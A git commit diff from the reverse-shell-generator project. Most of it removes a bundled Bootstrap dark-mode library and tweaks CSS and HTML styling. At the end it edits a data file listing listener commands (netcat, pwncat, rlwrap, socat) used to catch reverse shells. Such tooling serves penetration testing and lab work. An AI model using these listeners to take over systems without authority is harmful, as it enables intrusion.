mirror of
https://github.com/0dayCTF/reverse-shell-generator.git
synced 2025-01-29 13:55:08 +00:00
dad jokes
This commit is contained in:
parent
458d0d17ae
commit
26b8b5fb21
4
bootstrap-darkmode-master/.gitignore
vendored
4
bootstrap-darkmode-master/.gitignore
vendored
@ -1,4 +0,0 @@
|
||||
**.sass-cache**
|
||||
.idea/
|
||||
node_modules/
|
||||
dist/
|
@ -1,4 +0,0 @@
|
||||
.sass-cache/
|
||||
.idea/
|
||||
.gitignore
|
||||
testpage.html
|
@ -1,44 +0,0 @@
|
||||
# v0.1.0
|
||||
|
||||
* Initial NPM release.
|
||||
|
||||
# v0.2.0
|
||||
|
||||
+ Added `theme.d.ts`.
|
||||
|
||||
# v0.3.0
|
||||
|
||||
* Encapsulated theme methods in the `ThemeConfig` class.
|
||||
* Encapsulated dark switch in a function.
|
||||
|
||||
# v0.3.1
|
||||
|
||||
+ Added `initTheme` to `theme.d.ts`.
|
||||
|
||||
# v0.3.2
|
||||
|
||||
+ Added constructor to `ThemeConfig`.
|
||||
|
||||
# v0.4.0
|
||||
|
||||
* Converted the JavaScript code to TypeScript.
|
||||
|
||||
# v0.5.0
|
||||
|
||||
+ Added the `ThemeConfig.detectTheme` method.
|
||||
* `ThemeConfig.loadTheme` and `.saveTheme` are now regular methods.
|
||||
* The `ThemeConfig.loadTheme` and `.saveTheme` methods can now accept/return `null`.
|
||||
* Moved `darktheme.css` to `dist/`.
|
||||
* Removed `.gitignore` from the NPM package.
|
||||
|
||||
# v0.6.0
|
||||
|
||||
* `dist/theme.js` is no longer a module.
|
||||
|
||||
# v0.7.0
|
||||
|
||||
+ Added `.bg-darkmode-black` as an opposite for `.bg-white`.
|
||||
+ Added support for `data-theme="auto"`, which will automatically apply dark mode dependending on user agent preference.
|
||||
* Improved table border colors.
|
||||
* Improved horizontal rule (`<hr>`) color.
|
||||
* Updated information in `package.json`.
|
@ -1,29 +0,0 @@
|
||||
BSD 3-Clause License
|
||||
|
||||
Copyright (c) 2019 - 2020, Clashsoft
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
1. Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
3. Neither the name of the copyright holder nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
@ -1,111 +0,0 @@
|
||||
# Bootstrap Dark Mode
|
||||
|
||||
[![npm version](https://badge.fury.io/js/bootstrap-darkmode.svg)](https://www.npmjs.com/package/bootstrap-darkmode)
|
||||
|
||||
This project provides a stylesheet and two scripts that allow you to implement Dark Mode on your website.
|
||||
It is initially loaded based on user preference, can be toggled via a switch, and is saved via `localStorage`.
|
||||
|
||||
You can view the [test page](testpage.html) with all default bootstrap components in light and dark
|
||||
(thanks to [juzraai](https://juzraai.github.io/)!).
|
||||
|
||||
Note that not all components are fully supported yet.
|
||||
Mostly the contextual color classes can cause problems.
|
||||
|
||||
If you are using Angular, check out [ng-bootstrap-darkmode](https://github.com/Clashsoft/ng-bootstrap-darkmode).
|
||||
|
||||
## Usage
|
||||
|
||||
### With NPM/Yarn/PNPM
|
||||
|
||||
Install the [npm package](https://www.npmjs.com/package/bootstrap-darkmode):
|
||||
|
||||
```sh
|
||||
$ npm install bootstrap-darkmode
|
||||
$ yarn add bootstrap-darkmode
|
||||
$ pnpm install bootstrap-darkmode
|
||||
```
|
||||
|
||||
Include the stylesheet, e.g. in `styles.scss`:
|
||||
|
||||
```scss
|
||||
@import "~bootstrap-darkmode/darktheme";
|
||||
```
|
||||
|
||||
### Via unpkg.com
|
||||
|
||||
1. Put the stylesheet link in `<head>`. Do not forget to add bootstrap.
|
||||
|
||||
```html
|
||||
<head>
|
||||
<!-- ... -->
|
||||
<!-- Bootstrap CSS ... -->
|
||||
|
||||
<!-- Dark mode CSS -->
|
||||
<link rel="stylesheet" href="https://unpkg.com/bootstrap-darkmode@0.7.0/dist/darktheme.css"/>
|
||||
<!-- ... -->
|
||||
</head>
|
||||
```
|
||||
|
||||
2. Load the theme script as the first thing in `<body>`.
|
||||
|
||||
```html
|
||||
<body>
|
||||
<script src="https://unpkg.com/bootstrap-darkmode@0.7.0/dist/theme.js"></script>
|
||||
<!-- ... --->
|
||||
```
|
||||
|
||||
### Building Yourself
|
||||
|
||||
1. Clone this repo.
|
||||
2. Run `npm build`.
|
||||
3. Find `darktheme.css` and `theme.js` in the `dist/` directory.
|
||||
4. Follow the steps for unpkg.com, but replace the links with whatever local paths you put the files in.
|
||||
|
||||
## Setup
|
||||
|
||||
> If you are using [ng-bootstrap-darkmode](https://github.com/Clashsoft/ng-bootstrap-darkmode),
|
||||
> you can skip this section entirely.
|
||||
> It comes with its own JavaScript implementation that is used very differently.
|
||||
|
||||
### Theme
|
||||
|
||||
As soon as possible after `<body>`, initialize the config and load the theme:
|
||||
|
||||
```js
|
||||
const themeConfig = new ThemeConfig();
|
||||
// place customizations here
|
||||
themeConfig.initTheme();
|
||||
```
|
||||
|
||||
Loading the theme early shortens the time until the white default background becomes dark.
|
||||
|
||||
### Dark Switch
|
||||
|
||||
If you want to use the default dark switch, load the switch script and add the element using this code:
|
||||
|
||||
```js
|
||||
// this will write the html to the document and return the element.
|
||||
const darkSwitch = writeDarkSwitch(themeConfig);
|
||||
```
|
||||
|
||||
## Configuration
|
||||
|
||||
You can listen to theme changes by registering a callback with `themeChangeHandlers`:
|
||||
|
||||
```js
|
||||
config.themeChangeHandlers.push(theme => console.log(`using theme: ${theme}`));
|
||||
```
|
||||
|
||||
To change the way the theme is persisted, you can change the `loadTheme` and `saveTheme` functions:
|
||||
|
||||
```js
|
||||
themeConfig.loadTheme = () => {
|
||||
// custom logic
|
||||
return 'dark';
|
||||
};
|
||||
|
||||
themeConfig.saveTheme = theme => {
|
||||
// custom logic
|
||||
console.log(theme);
|
||||
};
|
||||
```
|
@ -1,363 +0,0 @@
|
||||
// =============== Variables ===============
|
||||
|
||||
// --------------- Defaults ---------------
|
||||
|
||||
$default-color: #bebebe;
|
||||
$default-bg: #222;
|
||||
$default-dark-bg: #181818;
|
||||
$default-header-bg: #202020;
|
||||
$default-border: #404040;
|
||||
|
||||
$item-color: (
|
||||
"primary": #fff,
|
||||
"secondary": #fff,
|
||||
"success": #fff,
|
||||
"danger": #fff,
|
||||
"warning": #212529,
|
||||
"info": #fff,
|
||||
"light": #212529,
|
||||
"dark": #fff,
|
||||
);
|
||||
|
||||
$item-bg: (
|
||||
"primary": #007bff,
|
||||
"secondary": #6c757d,
|
||||
"success": #28a745,
|
||||
"danger": #dc3545,
|
||||
"warning": #ffc107,
|
||||
"info": #17a2b8,
|
||||
"light": #6c757d,
|
||||
"dark": #343a40,
|
||||
);
|
||||
|
||||
$item-hover: (
|
||||
"primary": #0069d9,
|
||||
"secondary": #5a6268,
|
||||
"success": #218838,
|
||||
"danger": #c82333,
|
||||
"warning": #e0a800,
|
||||
"info": #138496,
|
||||
"light": #e2e6ea,
|
||||
"dark": #23272b,
|
||||
);
|
||||
|
||||
$color-lighten: 10;
|
||||
|
||||
// --------------- Customized ---------------
|
||||
|
||||
$color: $default-color;
|
||||
$bg: $default-bg;
|
||||
|
||||
$window-color: $default-color;
|
||||
$window-bg: $default-bg;
|
||||
$window-header-color: $default-color;
|
||||
$window-header-bg: $default-header-bg;
|
||||
$window-border: $default-border;
|
||||
|
||||
$card-color: $default-color;
|
||||
$card-bg: $default-dark-bg;
|
||||
$card-header-color: $default-color;
|
||||
$card-header-bg: $default-header-bg;
|
||||
$card-hover-bg: $default-bg;
|
||||
$card-border: $default-border;
|
||||
|
||||
$form-color: $default-color;
|
||||
$form-placeholder-color: #666;
|
||||
$form-bg: #171717;
|
||||
$form-hover-bg: #242424;
|
||||
$form-border: $default-border;
|
||||
|
||||
$form-addon-color: $default-color;
|
||||
$form-addon-bg: $default-header-bg;
|
||||
|
||||
@mixin darkmode {
|
||||
color: $color;
|
||||
background-color: $bg;
|
||||
|
||||
.bg-darkmode-dark {
|
||||
background-color: #343a40 !important
|
||||
}
|
||||
|
||||
.bg-darkmode-light {
|
||||
background-color: #f8f9fa !important;
|
||||
}
|
||||
|
||||
.bg-darkmode-black {
|
||||
background-color: $bg !important;
|
||||
}
|
||||
|
||||
// --------------- Typography ---------------
|
||||
|
||||
pre {
|
||||
color: $color;
|
||||
}
|
||||
|
||||
hr {
|
||||
border-top-color: $default-border;
|
||||
}
|
||||
|
||||
// --------------- Images ---------------
|
||||
|
||||
img.icon,
|
||||
svg.icon {
|
||||
filter: invert(1);
|
||||
}
|
||||
|
||||
// --------------- Tables ---------------
|
||||
|
||||
.table {
|
||||
color: $color;
|
||||
|
||||
th, td {
|
||||
border-top-color: $default-border;
|
||||
}
|
||||
|
||||
thead th, tbody + tbody {
|
||||
border-bottom-color: $default-border;
|
||||
}
|
||||
}
|
||||
|
||||
.table-hover tbody tr:hover {
|
||||
color: $color;
|
||||
}
|
||||
|
||||
.table-bordered {
|
||||
border-color: $default-border;
|
||||
|
||||
th, td {
|
||||
border-color: $default-border;
|
||||
}
|
||||
}
|
||||
|
||||
// --------------- List Groups ---------------
|
||||
|
||||
.list-group-item {
|
||||
color: $card-color;
|
||||
background-color: $card-bg;
|
||||
border-color: $card-border;
|
||||
|
||||
&.list-group-item-action:focus,
|
||||
&.list-group-item-action:hover {
|
||||
background-color: $card-hover-bg;
|
||||
}
|
||||
}
|
||||
|
||||
.list-group-item.active {
|
||||
&, &:focus, &:hover {
|
||||
color: map_get($item-color, "primary");
|
||||
background-color: map_get($item-bg, "primary");
|
||||
border-color: map_get($item-bg, "primary");
|
||||
}
|
||||
}
|
||||
|
||||
@each $name in map_keys($item-color) {
|
||||
.list-group-item-#{$name} {
|
||||
color: map_get($item-color, $name);
|
||||
background-color: map_get($item-bg, $name);
|
||||
border-color: map_get($item-bg, $name);
|
||||
|
||||
&.list-group-item-action:focus,
|
||||
&.list-group-item-action:hover {
|
||||
color: map_get($item-color, $name);
|
||||
background-color: map_get($item-hover, $name);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// --------------- Buttons ---------------
|
||||
|
||||
.dropdown-menu {
|
||||
background-color: $form-bg;
|
||||
border-color: $form-border;
|
||||
}
|
||||
|
||||
.dropdown-item:not(:disabled):not(.disabled) {
|
||||
color: $form-color;
|
||||
}
|
||||
|
||||
.dropdown-item:focus,
|
||||
.dropdown-item:hover {
|
||||
background-color: $form-hover-bg;
|
||||
}
|
||||
|
||||
.dropdown-divider {
|
||||
border-top-color: $form-border;
|
||||
}
|
||||
|
||||
// --------------- Jumbotron ---------------
|
||||
|
||||
.jumbotron {
|
||||
color: $card-color;
|
||||
background-color: $card-bg;
|
||||
border-color: $card-border;
|
||||
}
|
||||
|
||||
// --------------- Cards ---------------
|
||||
|
||||
.card {
|
||||
color: $card-color;
|
||||
background-color: $card-bg;
|
||||
border-color: $card-border;
|
||||
}
|
||||
|
||||
.card-header,
|
||||
.card-footer {
|
||||
color: $card-header-color;
|
||||
background-color: $card-header-bg;
|
||||
border-top-color: $card-border;
|
||||
border-bottom-color: $card-border;
|
||||
}
|
||||
|
||||
// --------------- Forms ---------------
|
||||
|
||||
.form-control {
|
||||
color: $form-color;
|
||||
background-color: $form-bg;
|
||||
border-color: $form-border;
|
||||
}
|
||||
|
||||
.form-control-plaintext {
|
||||
color: $form-color;
|
||||
}
|
||||
|
||||
.custom-select {
|
||||
color: $form-color;
|
||||
background-color: $form-bg;
|
||||
border-color: $form-border;
|
||||
background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3e%3cpath fill='%23ffffff' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e");
|
||||
}
|
||||
|
||||
.custom-file-label {
|
||||
color: $form-color;
|
||||
background-color: $form-bg;
|
||||
border-color: $form-border;
|
||||
|
||||
&:after {
|
||||
color: $form-addon-color;
|
||||
background-color: $form-addon-bg;
|
||||
}
|
||||
}
|
||||
|
||||
.input-group-text {
|
||||
color: $form-addon-color;
|
||||
background-color: $form-addon-bg;
|
||||
border-color: $form-border;
|
||||
}
|
||||
|
||||
.page-item .page-link {
|
||||
border-color: $form-border;
|
||||
}
|
||||
|
||||
.page-item.disabled .page-link {
|
||||
background-color: $form-bg;
|
||||
color: $form-color;
|
||||
}
|
||||
|
||||
.page-item:not(.active) .page-link {
|
||||
background-color: $form-bg;
|
||||
}
|
||||
|
||||
.page-item:not(.active) .page-link:hover {
|
||||
background-color: $form-hover-bg;
|
||||
}
|
||||
|
||||
// --------------- Navs ---------------
|
||||
|
||||
.breadcrumb {
|
||||
background-color: $form-bg;
|
||||
border-color: $form-border;
|
||||
}
|
||||
|
||||
.nav-tabs {
|
||||
border-bottom-color: $form-border;
|
||||
|
||||
.nav-link:focus,
|
||||
.nav-link:hover {
|
||||
background-color: $form-hover-bg;
|
||||
border-color: $form-border;
|
||||
}
|
||||
|
||||
.nav-item.show .nav-link,
|
||||
.nav-link.active {
|
||||
color: $color;
|
||||
background-color: $bg;
|
||||
border-color: $form-border;
|
||||
border-bottom-color: $bg;
|
||||
}
|
||||
}
|
||||
|
||||
.nav-tabs.card-header-tabs {
|
||||
.nav-item.show .nav-link,
|
||||
.nav-link.active {
|
||||
background-color: $card-bg;
|
||||
border-bottom-color: $card-bg;
|
||||
}
|
||||
}
|
||||
|
||||
// --------------- Popovers ---------------
|
||||
|
||||
.popover {
|
||||
background-color: $window-bg;
|
||||
border-color: $window-border;
|
||||
}
|
||||
|
||||
.popover-body {
|
||||
color: $color;
|
||||
}
|
||||
|
||||
.popover-header {
|
||||
background-color: $window-header-bg;
|
||||
border-bottom-color: $window-border;
|
||||
}
|
||||
|
||||
@each $pos in (top, right, bottom, left) {
|
||||
.bs-popover-#{$pos},
|
||||
.bs-popover-auto[x-placement^="#{$pos}"] {
|
||||
& > .arrow::before {
|
||||
border-#{$pos}-color: $window-border;
|
||||
}
|
||||
|
||||
& > .arrow::after {
|
||||
border-#{$pos}-color: $window-bg;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// --------------- Progress Bars --------------- */
|
||||
|
||||
.progress {
|
||||
background-color: $form-bg;
|
||||
border-color: $form-border;
|
||||
}
|
||||
|
||||
// --------------- Modals ---------------
|
||||
|
||||
.close {
|
||||
color: $color;
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
.modal-header,
|
||||
.modal-footer {
|
||||
color: $window-header-color;
|
||||
background-color: $window-header-bg;
|
||||
border-bottom-color: $window-border;
|
||||
border-top-color: $window-border;
|
||||
}
|
||||
|
||||
.modal-content {
|
||||
color: $window-color;
|
||||
background-color: $window-bg;
|
||||
border-color: $card-border;
|
||||
}
|
||||
}
|
||||
|
||||
@media (prefers-color-scheme: dark) {
|
||||
[data-theme=auto] {
|
||||
@include darkmode;
|
||||
}
|
||||
}
|
||||
|
||||
[data-theme=dark] {
|
||||
@include darkmode;
|
||||
}
|
@ -1,31 +0,0 @@
|
||||
{
|
||||
"name": "bootstrap-darkmode",
|
||||
"version": "0.7.0",
|
||||
"description": "Stylesheet and Scripts for implementing dark mode with Bootstrap 4",
|
||||
"main": "dist/theme.js",
|
||||
"types": "dist/theme.d.ts",
|
||||
"scripts": {
|
||||
"build": "tsc && sass --source-map darktheme.scss:dist/darktheme.css --style compressed",
|
||||
"test": "echo \"Error: no test specified\" && exit 1"
|
||||
},
|
||||
"repository": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/clashsoft/bootstrap-darkmode.git"
|
||||
},
|
||||
"keywords": [
|
||||
"bootstrap",
|
||||
"bootstrap-4",
|
||||
"darkmode",
|
||||
"darktheme"
|
||||
],
|
||||
"author": "Adrian Kunz",
|
||||
"license": "BSD-3-Clause",
|
||||
"bugs": {
|
||||
"url": "https://github.com/clashsoft/bootstrap-darkmode/issues"
|
||||
},
|
||||
"homepage": "https://github.com/clashsoft/bootstrap-darkmode#readme",
|
||||
"devDependencies": {
|
||||
"sass": "^1.26.7",
|
||||
"typescript": "^3.9.3"
|
||||
}
|
||||
}
|
File diff suppressed because it is too large
Load Diff
@ -1,60 +0,0 @@
|
||||
class ThemeConfig {
|
||||
themeChangeHandlers: ((theme: string) => void)[] = [];
|
||||
|
||||
loadTheme(): string | null {
|
||||
return localStorage.getItem('theme');
|
||||
}
|
||||
|
||||
saveTheme(theme: string | null): void {
|
||||
if (theme === null) {
|
||||
localStorage.removeItem('theme');
|
||||
}
|
||||
else {
|
||||
localStorage.setItem('theme', theme)
|
||||
}
|
||||
}
|
||||
|
||||
initTheme(): void {
|
||||
this.displayTheme(this.getTheme());
|
||||
}
|
||||
|
||||
detectTheme(): string {
|
||||
return window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light';
|
||||
}
|
||||
|
||||
getTheme(): string {
|
||||
return this.loadTheme() || this.detectTheme();
|
||||
}
|
||||
|
||||
setTheme(theme: string): void {
|
||||
this.saveTheme(theme);
|
||||
this.displayTheme(theme);
|
||||
}
|
||||
|
||||
displayTheme(theme: string): void {
|
||||
document.body.setAttribute('data-theme', theme);
|
||||
for (let handler of this.themeChangeHandlers) {
|
||||
handler(theme);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function writeDarkSwitch(config: ThemeConfig) {
|
||||
document.write(`
|
||||
<div class="custom-control custom-switch">
|
||||
<input type="checkbox" class="custom-control-input" id="darkSwitch">
|
||||
<label class="custom-control-label" for="darkSwitch">Dark Mode</label>
|
||||
</div>
|
||||
`);
|
||||
|
||||
const darkSwitch = document.getElementById('darkSwitch') as HTMLInputElement;
|
||||
|
||||
darkSwitch.checked = config.getTheme() === 'dark';
|
||||
darkSwitch.onchange = () => {
|
||||
config.setTheme(darkSwitch.checked ? 'dark' : 'light');
|
||||
};
|
||||
|
||||
config.themeChangeHandlers.push(theme => darkSwitch.checked = theme === 'dark');
|
||||
|
||||
return darkSwitch;
|
||||
}
|
@ -1,13 +0,0 @@
|
||||
{
|
||||
"compilerOptions": {
|
||||
"target": "es5",
|
||||
"lib": ["es2017", "es7", "es6", "dom"],
|
||||
"declaration": true,
|
||||
"outDir": "dist",
|
||||
"strict": true
|
||||
},
|
||||
"exclude": [
|
||||
"node_modules",
|
||||
"dist"
|
||||
]
|
||||
}
|
@ -39,9 +39,10 @@ _:-ms-fullscreen,
|
||||
border-radius: 5px;
|
||||
box-shadow: 10px 10px 20px 0px rgba(0, 0, 0, 0.75);
|
||||
background-color: rgb(70, 70, 70);
|
||||
white-space: pre-wrap !important;
|
||||
max-height: 20rem;
|
||||
}
|
||||
|
||||
|
||||
.custom-select {
|
||||
background-color: #646464;
|
||||
color: white;
|
||||
@ -51,14 +52,18 @@ _:-ms-fullscreen,
|
||||
padding: 10px;
|
||||
border-radius: 20px;
|
||||
box-shadow: 10px 0px 20px 0px rgba(0, 0, 0, 0.75);
|
||||
max-height: 1000px;
|
||||
height: 100% !important;
|
||||
}
|
||||
|
||||
h1,
|
||||
h2,
|
||||
h3,
|
||||
h4,
|
||||
h5 {
|
||||
h2 {
|
||||
color: white;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.pre-wrap {
|
||||
white-space: pre-wrap;
|
||||
}
|
||||
|
||||
.card-body {
|
||||
max-height: 40rem;
|
||||
}
|
2
css/dark-mode.min.css
vendored
2
css/dark-mode.min.css
vendored
@ -1 +1 @@
|
||||
.prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em}.highlighted-parameter{color:#c0c0ba;font-weight:700;font-size:1em}.highlighted-warning{color:red;font-weight:700}.custom-switch label{cursor:pointer;user-select:none}_:-ms-fullscreen,:root body{overflow-y:scroll}#listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75)}#reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646}.custom-select{background-color:#646464;color:#fff}.container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(0,0,0,.75);max-height:1000px}h1,h2,h3,h4,h5{color:#fff}
|
||||
.prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em}.highlighted-parameter{color:#c0c0ba;font-weight:700;font-size:1em}.highlighted-warning{color:red;font-weight:700}.custom-switch label{cursor:pointer;user-select:none}_:-ms-fullscreen,:root body{overflow-y:scroll}#listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75)}#reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}.custom-select{background-color:#646464;color:#fff}.container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(0,0,0,.75);height:100%!important}h2{color:#fff;text-align:center}.pre-wrap{white-space:pre-wrap}.card-body{max-height:40rem}
|
@ -82,6 +82,7 @@ Ain't got time for using CSS the right way. !important everything!
|
||||
box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75);
|
||||
background-color: rgb(45, 139, 135);
|
||||
color:#000;
|
||||
max-height: 20rem;
|
||||
}
|
||||
|
||||
[data-theme="light"] .custom-select {
|
||||
@ -131,6 +132,20 @@ color: #000 !important;
|
||||
color: black;
|
||||
}
|
||||
|
||||
[data-theme="light"] h2
|
||||
{
|
||||
color: white;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
[data-theme="light"] .pre-wrap {
|
||||
white-space: pre-wrap;
|
||||
}
|
||||
|
||||
[data-theme="light"] .card-body {
|
||||
max-height: 40rem;
|
||||
}
|
||||
|
||||
@font-face {
|
||||
font-family: "Comic Mono";
|
||||
src: url(../assets/ComicMono.ttf);
|
||||
|
2
css/light-mode.min.css
vendored
2
css/light-mode.min.css
vendored
@ -1 +1 @@
|
||||
[data-theme=light]{background-color:pink!important}[data-theme=light] .card{background-color:#af8bad!important;color:#000}[data-theme=light] .bg-white{background-color:#ddd7d7!important}[data-theme=light] .bg-dark{background-color:#e7d4e0!important}[data-theme=light] .rainbow{text-shadow:2px 2px 4px #000;font-size:40px;-webkit-animation:rainbow 5s infinite;-ms-animation:rainbow 5s infinite;animation:rainbow 5s infinite;font-family:'Comic Mono'}[data-theme=light] .prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em;color:#2e3e86}[data-theme=light] .input-group-text{background-color:#f1c6ce;color:#000}[data-theme=light] .btn{background-color:#a56096;color:#000;border-color:#a56096}[data-theme=light] .highlighted-parameter{color:#7223b5;font-weight:700;font-size:1em}[data-theme=light] .highlighted-warning{color:red;font-weight:700}[data-theme=light] .custom-switch label{cursor:pointer;user-select:none}[data-theme=light] .custom-control-input:checked~.custom-control-label::before{background-color:#7223b5}[data-theme=light] #listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000}[data-theme=light] #reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000}[data-theme=light] .custom-select{background-color:#f1c6ce;color:#000;border-color:#a56096}[data-theme=light] .custom-control-input:checked{color:#000}[data-theme=light] a{background-color:#f1c6ce;color:#000}[data-theme=light] .list-group-item{color:#000}[data-theme=light] .list-group-item.active{background-color:#a56096;border-color:#000}[data-theme=light] .list-group-item:hover{background-color:#a56096}[data-theme=light] .list-group-item.hover{background-color:rgba(153,28,143,.75)}[data-theme=light] .container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(153,28,143,.75);max-height:1000px}[data-theme=light] .card-title{color:#000!important}[data-theme=light] .custom-control-label{color:#000}@font-face{font-family:"Comic Mono";src:url(../assets/ComicMono.ttf)}@-webkit-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}@-ms-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}@keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}
|
||||
[data-theme=light]{background-color:pink!important}[data-theme=light] .card{background-color:#af8bad!important;color:#000}[data-theme=light] .bg-white{background-color:#ddd7d7!important}[data-theme=light] .bg-dark{background-color:#e7d4e0!important}[data-theme=light] .rainbow{text-shadow:2px 2px 4px #000;font-size:40px;-webkit-animation:rainbow 5s infinite;-ms-animation:rainbow 5s infinite;animation:rainbow 5s infinite;font-family:'Comic Mono'}[data-theme=light] .prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em;color:#2e3e86}[data-theme=light] .input-group-text{background-color:#f1c6ce;color:#000}[data-theme=light] .btn{background-color:#a56096;color:#000;border-color:#a56096}[data-theme=light] .highlighted-parameter{color:#7223b5;font-weight:700;font-size:1em}[data-theme=light] .highlighted-warning{color:red;font-weight:700}[data-theme=light] .custom-switch label{cursor:pointer;user-select:none}[data-theme=light] .custom-control-input:checked~.custom-control-label::before{background-color:#7223b5}[data-theme=light] #listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000}[data-theme=light] #reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme=light] .custom-select{background-color:#f1c6ce;color:#000;border-color:#a56096}[data-theme=light] .custom-control-input:checked{color:#000}[data-theme=light] a{background-color:#f1c6ce;color:#000}[data-theme=light] .list-group-item{color:#000}[data-theme=light] .list-group-item.active{background-color:#a56096;border-color:#000}[data-theme=light] .list-group-item:hover{background-color:#a56096}[data-theme=light] .list-group-item.hover{background-color:rgba(153,28,143,.75)}[data-theme=light] .container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(153,28,143,.75);max-height:1000px}[data-theme=light] .card-title{color:#000!important}[data-theme=light] .custom-control-label{color:#000}[data-theme=light] h2{color:#fff;text-align:center}[data-theme=light] .pre-wrap{white-space:pre-wrap}[data-theme=light] .card-body{max-height:40rem}@font-face{font-family:"Comic Mono";src:url(../assets/ComicMono.ttf)}@-webkit-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}@-ms-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}@keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}
|
@ -173,7 +173,7 @@
|
||||
<div class="row flex-grow-1">
|
||||
<div class="col position-relative">
|
||||
<pre class="prompt-sign">🚀</pre>
|
||||
<pre id="reverse-shell-command" class="bg-dark border text-wrap text-break p-4 pl-5"
|
||||
<pre id="reverse-shell-command" class="bg-dark border pre-wrap text-break p-4 pl-5"
|
||||
style="outline: none; font-size:1em;" contenteditable="true"></pre>
|
||||
</div>
|
||||
</div>
|
||||
|
40
js/data.js
40
js/data.js
@ -2,48 +2,46 @@ const rsgData = {
|
||||
|
||||
listenerCommands: [
|
||||
['nc', 'nc -lvnp {port}'],
|
||||
['pwncat', 'python3 -m pwncat -lp {port}'],
|
||||
['rlwrap + nc', 'rlwrap nc -lvnp {port}'],
|
||||
['pwncat', 'python3 -m pwncat -lp {port}'],
|
||||
['windows ConPty', 'stty raw -echo; (stty size; cat) | nc -lvnp {port}'],
|
||||
['socat', 'socat -d -d TCP-LISTEN:{port} STDOUT'],
|
||||
['socat (TTY)', 'socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:{port}']
|
||||
],
|
||||
|
||||
